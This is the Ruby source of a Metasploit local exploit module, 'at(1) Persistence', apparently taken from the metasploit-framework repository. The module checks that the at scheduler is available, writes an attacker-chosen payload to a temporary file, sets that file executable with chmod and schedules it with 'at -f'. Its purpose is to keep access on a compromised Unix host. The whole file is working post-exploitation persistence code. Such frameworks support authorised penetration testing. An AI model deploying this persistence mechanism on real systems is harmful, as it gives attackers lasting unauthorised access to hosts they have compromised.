73 lines
2.1 KiB
Ruby
73 lines
2.1 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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Rank = ExcellentRanking
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include Msf::Post::File
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'at(1) Persistence',
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'Description' => %q{
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This module achieves persistence by executing payloads via at(1).
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'Jon Hart <jon_hart@rapid7.com>'
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],
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'Targets' => [['Automatic', {} ]],
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'DefaultTarget' => 0,
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'Platform' => %w[unix],
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'Arch' => ARCH_CMD,
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'DisclosureDate' => '1997-01-01', # http://pubs.opengroup.org/onlinepubs/007908799/xcu/at.html
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'Notes' => {
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'Reliability' => [REPEATABLE_SESSION],
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'Stability' => [CRASH_SAFE],
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'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
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}
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)
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)
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register_options([
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OptString.new('TIME', [false, 'When to run job via at(1). Changing may require WfsDelay to be adjusted.', 'now'])
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])
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register_advanced_options([
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OptString.new('PATH', [false, 'Path to store payload to be executed by at(1). Leave unset to use mktemp.'])
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])
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end
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def check
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token = Rex::Text.rand_text_alphanumeric(8)
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if cmd_exec("atq && echo #{token}").include?(token)
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CheckCode::Vulnerable
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else
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CheckCode::Safe
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end
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end
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def exploit
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unless check == Exploit::CheckCode::Vulnerable
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fail_with(Failure::NoAccess, 'User denied cron via at.deny')
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end
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unless (payload_file = (datastore['PATH'] || cmd_exec('mktemp')))
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fail_with(Failure::BadConfig, 'Unable to find suitable location for payload')
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end
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write_file(payload_file, payload.encoded)
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register_files_for_cleanup(payload_file)
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cmd_exec("chmod 700 #{payload_file}")
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cmd_exec("at -f #{payload_file} #{datastore['TIME']}")
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print_status("Waiting up to #{datastore['WfsDelay']}sec for execution")
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end
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end
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